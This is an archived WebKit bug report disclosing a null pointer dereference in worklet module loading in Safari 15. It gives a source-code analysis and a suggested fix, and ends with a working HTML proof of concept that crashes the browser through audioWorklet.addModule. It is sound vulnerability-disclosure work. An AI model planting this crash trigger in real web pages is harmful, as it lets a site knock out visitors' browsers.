[Webkit-unassigned] [Bug 232796] New: Null Pointer Dereference When Worklet Load Module

bugzilla-daemon at webkit.org bugzilla-daemon at webkit.org
Sat Nov 6 23:40:04 PDT 2021


https://bugs.webkit.org/show_bug.cgi?id=232796

            Bug ID: 232796
           Summary: Null Pointer Dereference When Worklet Load Module
           Product: WebKit
           Version: Safari 15
          Hardware: Mac (Intel)
                OS: macOS 11
            Status: NEW
          Severity: Major
          Priority: P2
         Component: New Bugs
          Assignee: webkit-unassigned at lists.webkit.org
          Reporter: kirin.say at gmail.com

Created attachment 443501

  --> https://bugs.webkit.org/attachment.cgi?id=443501&action=review

The crash log of the poc.

## VERSION

WebKit: Latest Release Version
Safari: 15.2 (BigSur) / 15.1 (Catalina)

## VULNERABILITY DETAILS

```
void WorkerOrWorkletScriptController::loadAndEvaluateModule(const URL& moduleURL, FetchOptions::Credentials credentials, CompletionHandler<void(std::optional<Exception>&&)>&& completionHandler)
{

    ......
    ......

    auto& globalObject = *m_globalScopeWrapper.get();
    VM& vm = globalObject.vm();
    JSLockHolder lock { vm };

    auto scriptFetcher = WorkerScriptFetcher::create(credentials, globalScope()->destination(), globalScope()->referrerPolicy());
    {   // 1
        auto& promise = JSExecState::loadModule(globalObject, moduleURL.string(), JSC::JSScriptFetchParameters::create(vm, scriptFetcher->parameters()), JSC::JSScriptFetcher::create(vm, { scriptFetcher.ptr() }));

        auto task = createSharedTask<void(std::optional<Exception>&&)>([completionHandler = WTFMove(completionHandler)](std::optional<Exception>&& exception) mutable {
            completionHandler(WTFMove(exception));
        });

        auto& fulfillHandler = *JSNativeStdFunction::create(vm, &globalObject, 1, String(), [task, scriptFetcher](JSGlobalObject* globalObject, CallFrame* callFrame) -> JSC::EncodedJSValue {
        ......
        });

        auto& rejectHandler = *JSNativeStdFunction::create(vm, &globalObject, 1, String(), [task](JSGlobalObject* globalObject, CallFrame* callFrame) {
        ......
        });
        // 2 
        promise.then(&globalObject, &fulfillHandler, &rejectHandler);
    }
    m_globalScope->eventLoop().performMicrotaskCheckpoint();
}
```

When a Worklet loads a module by API `addModule` ,  the webkit will call function  WorkerOrWorkletScriptController::loadAndEvaluateModule to load it: 

- loadAndEvaluateModule will call JSExecState::loadModule to get a promise(1).
- The promise will call its then() function later(2).

But loadAndEvaluateModule didn't check the return value of JSExecState::loadModule:

```
// JSExecState::loadModule will call JSModuleLoader::loadModule internally
JSInternalPromise* JSModuleLoader::loadModule(JSGlobalObject* globalObject, JSValue moduleName, JSValue parameters, JSValue scriptFetcher)
{
    VM& vm = globalObject->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

    JSObject* function = getAs<JSObject*>(globalObject, vm.propertyNames->builtinNames().loadModulePublicName());
    // 3
                RETURN_IF_EXCEPTION(scope, nullptr); 
    auto callData = JSC::getCallData(vm, function);
    ASSERT(callData.type != CallData::Type::None);

    MarkedArgumentBuffer arguments;
    arguments.append(moduleName);
    arguments.append(parameters);
    arguments.append(scriptFetcher);
    ASSERT(!arguments.hasOverflowed());

    JSValue promise = call(globalObject, function, callData, this, arguments);
    RETURN_IF_EXCEPTION(scope, nullptr);
    return jsCast<JSInternalPromise*>(promise);
}
```

When there is a exception occurs without handled in this Worklet, the function will return a nullptr(3). It will lead to a Null Pointer Dereference in WorkerOrWorkletScriptController::loadAndEvaluateModule(2).

To confirm this vulnerability, I use the Web Audio Module in WebKit to load a  script with a exception. Then I create an instance object after addModule(the constructor will cause a exception without calling super() in function). When I call the addModule in this audioWorklet again, it will trigger the vulnerability in WorkerOrWorkletScriptController::loadAndEvaluateModule and get a crash.

## Impact

A malicious website may be able to cause a denial of service.

## Suggestion

Check the return pointer in WorkerOrWorkletScriptController::loadAndEvaluateModule.

## REPRODUCTION CASE

```
<html>
<body>Kirin</body>
<script>
var context = new OfflineAudioContext(1, 128, 300000);

context.audioWorklet.addModule(URL.createObjectURL(new Blob([`
class TestProcessor extends AudioWorkletProcessor {
  constructor (options) {
        //super();
  }
  process (inputs, outputs, parameters) {
    return true
  }
}
registerProcessor('test-processor', TestProcessor)
         `], {type: "text/javascript"}))).then(async () => {
 testNode = new AudioWorkletNode(context, 'test-processor',{} );
context.audioWorklet.addModule(URL.createObjectURL(new Blob([`
    // Anything here
         `], {type: "text/javascript"})));
});
</script>
</html>
```

-- 
You are receiving this mail because:
You are the assignee for the bug.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.webkit.org/pipermail/webkit-unassigned/attachments/20211107/477a6505/attachment.htm>


More information about the webkit-unassigned mailing list